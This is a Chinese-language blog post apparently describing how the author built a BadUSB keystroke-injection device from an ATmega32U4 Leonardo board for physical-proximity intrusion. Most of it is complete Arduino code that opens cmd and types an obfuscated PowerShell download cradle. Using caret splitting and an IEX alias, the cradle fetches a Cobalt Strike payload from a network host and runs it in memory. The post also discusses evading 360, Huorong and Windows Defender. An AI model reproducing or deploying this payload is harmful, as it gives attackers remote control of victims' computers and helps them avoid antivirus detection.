之前在某公众号看到一篇关于Badusb做近源渗透的文章,之前看过很多的这类设计。本质上Badusb就是用一个单片机模拟出一个键盘,通过键盘键入恶意指令,可以绕过防火墙和不少杀毒软件。
由于自己设计太麻烦了,芯片虽然是有现成的,但是还要买装芯片的壳之类的,太麻烦了。反正只是研究的作用,就某宝上买了一个现成的。
我买的芯片是Leonardo USB ATMEGA32U4,金属外壳的比较好看捏,这个主控主要的问题是Flash太小了,刷的东西多一点都装不下(不过好像也就写个shell进去麻,不用写太多东西)
程序在Arduino中编写
这里参考了某公众号上的Payload,用alias别名和^拼接绕过,在代码上还做了一点修改。
步骤变成了
Win+M(最小化)->Win+R(运行)->按下CapsLock锁定大小写->输入CMD->输入PAYLOAD
最小化可以避免把payload输进其他应用,大小写锁定主要为了避免中文输入法干扰
void setup() {
Keyboard.begin();
delay(4500);
Keyboard.press(KEY_LEFT_GUI);
delay(200);
Keyboard.press('m');
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('m');
delay(200);
Keyboard.press(KEY_LEFT_GUI);
delay(200);
Keyboard.press('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println(F("cmd"));
delay(1000);
Keyboard.println(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.16'+'8.239'+'.249'+'/1') | p^o^w^e^r^s^h^e^l^l -"));
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop()
{
}
关于url为什么是http://192.168.239.249/1,要/1用数字不是其他字母呢。
由于CapsLock按键可能原本就是按下的状态,你再按下一次就关掉了,但是如果没有输入法的影响还是可以正常输入的,而url的目录是大小写敏感的,我们则使用数字来确保目录是可以访问到的。
这里的powershell的payload是从服务器上下载的CS负载,下载后在内存中运行也可以免杀的效果。
但是这样还不够,这样可以绕过火绒和360,但是连Windows Defender都过不了,不懂。
Cobalt Strick的PowerShell免杀
运行效果如图
由于Windows Defender好像还会监控流量(不过尽早迁移就可以了),并且这么大一个黑框和命令能让人不害怕吗,很快就会被人关掉,所以我用了插件使得他会自动迁移,更具体的会写在Cobalt Strick的PowerShell免杀。
至此Badusb完成了他近源渗透中光荣的一声被当成坏掉的u盘丢进垃圾桶了。
badusb使用倒不困难,困难的还是如何做好PowerShell的免杀。